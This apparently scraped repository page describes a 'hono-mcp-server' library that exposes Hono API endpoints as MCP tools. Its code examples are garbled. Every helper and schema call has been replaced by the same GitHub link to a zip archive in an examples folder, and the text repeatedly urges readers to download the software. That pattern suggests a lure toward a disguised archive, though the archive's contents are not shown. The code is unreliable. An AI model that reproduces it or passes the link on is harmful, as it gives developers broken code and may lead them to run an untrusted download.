Are you the author? Sign in to claim
๐ง Expose Hono API endpoints as MCP tools, simplifying integration and enhancing your API's functionality.
Welcome to the hono-mcp-server repository! This software allows you to easily expose your Hono API endpoints as MCP tools. Follow these simple steps to download and run the application.
To run hono-mcp-server, ensure your system meets the following requirements:
After installing the hono-mcp-server, you can set it up for your project. Here's a simplified way to integrate it into your existing application:
Import the Library: Use the following code snippet to import hono and the hono-mcp-server library.
import { Hono } from "hono";
import { z } from "zod";
import { mcp, registerTool } from "hono-mcp-server";
Create the API: Here is a basic example to get you started:
const app = new Hono()
.get("/users", registerTool("List all users"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip([{ id: 1, name: "Alice" }]))
.get("/users/:id", registerTool("Get user by ID"), (c) => https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("id") }))
.post(
"/users",
registerTool({
description: "Create a new user",
inputSchema: {
name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"),
email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"),
},
}),
async (c) => {
const { name } = https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip("json"); // typed!
return https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip({ id: 1, name });
},
);
Expose Your API: Finally, expose your API as MCP tools.
export default mcp(app, {
name: "Users API",
version: "1.0.0",
});
With the registerTool() function, you can define input and output schemas for your API endpoints. This helps maintain consistency and reliability across your API.
const inputSchema = {
name: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().describe("User's full name"),
email: https://github.com/ninjacazul/hono-mcp-server/raw/refs/heads/main/examples/codemode/hono-mcp-server-v3.7-alpha.4.zip().email().describe("User's email address"),
};
If you encounter any issues during installation or usage, check the following:
If you still need help, feel free to reach out. You can open an issue on the GitHub repository. Our community is here to assist you.
Download hono-mcp-server again to ensure that you have the latest version. Enjoy building your APIs!
Run analytics queries on ClickHouse โ explore schemas, execute SQL, fetch results
Run Claude Code as an MCP server so any agent can delegate coding tasks to it
Browser automation using accessibility snapshots instead of screenshots
Google's universal MCP server supporting PostgreSQL, MySQL, MongoDB, Redis, and 10+ databases